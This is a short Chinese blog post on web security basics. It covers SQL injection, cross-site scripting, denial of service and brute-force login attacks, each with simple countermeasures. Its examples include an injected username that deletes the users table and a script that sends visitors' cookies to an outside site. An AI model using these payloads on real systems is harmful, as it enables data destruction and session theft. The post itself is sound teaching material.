web安全考虑

在平时的编程中,我们常常会忽略一些重要的安全隐患,今天整理如下:

 

  1.SQL注入攻击
  服务器端程序有时希望接受客户端输入并且将他作为查询的一部分
  例如:一个接收用户名的登录界面可能执行以下代码:

 sql=select * from users where username=?

 
   如果客户端输入以下字符串作为用户名
 

 a';delete from users;

 

 sql=select * from users where username=a';delete from users;

 
   如果这条语句被执行,那么users表中的数据就会被删除
  
  对策:
    1.禁止输入特殊字符,如百分号,单引号,双引号
    2.禁止输入敏感字符,如update,insert,delete
    3.对特殊字符进行转义


  2、跨站脚本攻击
    假设有个留言板,你输入如下文字:
   

<script>
     document.location="http://myside.com/xx.jsp?cookies="+document.cookie
</script>

 
   这相当于在留言板网站的源程序中加入了JavaScript代码。
   当其他客户查看这条留言的时候,浏览器就会在后台把这个客户端浏览器的cookie发送到myside.com网站。
   这个网站只要设置接收程序就可以通过cookies变量获得该客户的cookies信息
   如果上述文字从数据库中取出来的,也会有同样的结果


   对策:
      1.在界面输入中,禁止输入脚本
      2.在把数据存入数据库之前,以及从数据库取出数据后,进行html转义
     

 

 3.拒绝攻击
    1.上传非常大的数据或文件可以很快地填满数据库
    2.短时间内上传大量数据或文件也可以填满数据库,使系统无法运转。
    攻击者可以在短时间内用大量的下载访问请求来堵塞服务器,使之没有空闲处理合法客户的请求。
  
 4.暴力攻击
      假设一个登录页面。攻击者可以编写代码,简单地加入一个循环来尝试用不同的用户名/密码登录,获得合法客户身份
  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值